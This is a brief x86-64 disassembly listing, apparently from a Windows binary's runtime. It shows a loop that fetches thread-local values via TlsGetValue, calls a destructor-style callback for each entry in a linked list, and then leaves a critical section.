mov rbx, qword [0x004f78e0]
test rbx, rbx
je 0x412ca4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x412c9b
test rsi, rsi
je 0x412c9b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x412c80
lea rcx, [0x004f7900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]